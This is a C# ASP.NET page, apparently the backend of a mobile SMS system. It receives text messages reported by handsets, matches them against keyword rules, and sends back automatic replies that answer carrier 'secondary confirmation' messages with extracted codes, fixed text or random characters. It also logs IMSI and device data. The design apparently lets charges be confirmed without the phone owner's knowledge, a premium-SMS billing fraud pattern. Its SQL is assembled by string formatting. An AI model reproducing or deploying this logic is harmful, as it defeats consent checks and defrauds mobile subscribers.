﻿using System;
using System.Data.Common;
using System.Data;
using System.Collections.Generic;
using System.Text;
using System.Linq;
using Pub.Class;
using GTS.MiniBox.Helper;
using GTS.MiniBox.Entity;

namespace GTS.MiniBox.Page {
    /// <summary>
    /// 二次确认接口
    /// </summary>
    public class ThreeDouble : System.Web.UI.Page {
        /// <summary>
        /// Page_Load
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        protected void Page_Load(object sender, EventArgs e) {
            //Msg.WriteEnd("555555555,1412321321.111".GetMatchingValue("5555,(.+?)\\.", 5, 1));
            string data = Request2.GetRequestInputStream(Encoding.UTF8);//Encoding.UTF8
            //SiteConfig.WriteLog(data);
            if (data.IsNullEmpty()) { Base.Write(""); } //SiteConfig.WriteLog("非法参数");
            data = data.ReplaceRN().CheckJson();

            #region 基础数据
            string id = "";
            string origin = "";
            string device = "";
            string compileDate = "";
            string imsi = "";
            string area = "";
            int mno = 0;
            #endregion

            #region 版本数据
            string version = string.Empty;
            #endregion

            #region receivedsms
            IList<receivedsms> receivedsmsList = new List<receivedsms>();
            IList<string> list = data.GetMatchingValues("<sms_info>(.+?)</sms_info>", "<sms_info>", "</sms_info>");
            list.Do(p => {
                receivedsms rsms = new receivedsms();
                rsms.number = p.GetMatchingValue("<sms_number>(.+?)</sms_number>", 12, 13).Trim();
                if (!rsms.number.IsNullEmpty() && !rsms.number.IsNumber()) rsms.number = rsms.number.GetMatchingValues("(\\d+)").FirstOrDefault() ?? "";
                rsms.data = p.GetMatchingValue("<sms_content>(.+?)</sms_content>", 13, 14).Trim();
                if (rsms.number.StartsWith("86") || rsms.number.StartsWith("91")) rsms.number = rsms.number.Substring(2);
                if (!rsms.data.IsNullEmpty() && !rsms.number.IsNullEmpty() && rsms.number != "10086") receivedsmsList.Add(rsms);
            });
            if (receivedsmsList.Count == 0) { Base.Write(""); } //SiteConfig.WriteLog("无sms_info节点:" + data);
            #endregion

            #region 解析二次确认规则
            IList<DoubleParseRule> parseRuleList = DoubleParseRuleHelper.SelectListByAll("ConnString");
            receivedsmsList.Do((p, i) => {
                var ruleList = parseRuleList.Where(r => p.data.IndexOf(r.Keyword) != -1);
                bool isTrue = false;
                foreach (DoubleParseRule rule in ruleList) {
                    switch (rule.Type.Value) {
                        case 1: //需要解析
                            string pass = "";
                            try { pass = HttpHelper.Resove(p.data, rule.Keyword, rule.Seperator); } catch { }
                            if (pass.Trim().IsNullEmpty()) continue;
                            receivedsmsList[i].data2 = pass;
                            receivedsmsList[i].state = 1;
                            isTrue = true;
                            break;
                        case 2: //直接回复
                            if (rule.Seperator.Trim().IsNullEmpty()) continue;
                            receivedsmsList[i].data2 = rule.Seperator;
                            receivedsmsList[i].state = 1;
                            isTrue = true;
                            break;
                        case 3: //回复任意
                            receivedsmsList[i].data2 = Rand.RndCode(1);
                            receivedsmsList[i].state = 1;
                            isTrue = true;
                            break;
                    }
                    if (isTrue) break;
                }
            });
            #endregion

            #region 下行数据
            StringBuilder xml = new StringBuilder();
            StringBuilder sendsmsLog = new StringBuilder();
            receivedsmsList.Do(p => {
                string msgID = Rand.RndGuid().Replace("-", "").Left(31);
                if (p.state == 1) {
                    xml.Append("<double_sms>");
                    xml.AppendFormat("<id>{0}</id>", msgID);
                    xml.AppendFormat("<number>{0}</number>", p.number);
                    xml.AppendFormat("<content>{0}</content>", p.data2);
                    xml.Append("</double_sms>");
                }
                sendsmsLog.AppendFormat("`{0}`,`{1}`,`{2}`,`{3}`,{4}|", msgID, p.data, p.number, p.data2, p.state);
            });
            sendsmsLog.RemoveLastChar("|");
            string proc = "box_DoubleLogDown '{0}','{1}','{2}','{3}','{4}','{5}','{6}',{7},'{8}','{9}',{10}".FormatWith(
                origin.SafeSql(), device.SafeSql(), compileDate.SafeSql(), version.SafeSql(),
                sendsmsLog.ToString().SafeSql(), data.SafeSql(), "<down>" + xml.ToString().SafeSql() + "</down>",
                mno, imsi.SafeSql(), area.SafeSql(), 3);
            try {
                int count = Data.ExecSql(proc);
            } catch (Exception ex) {
                //SiteConfig.WriteLog(ex);
                SiteConfig.WriteLog("执行错误：" + ex.Message + Environment.NewLine + "* Proc：" + proc);
            }
            Base.SendThreeDoubleDown(xml.ToString());
            #endregion
        }
    }
}
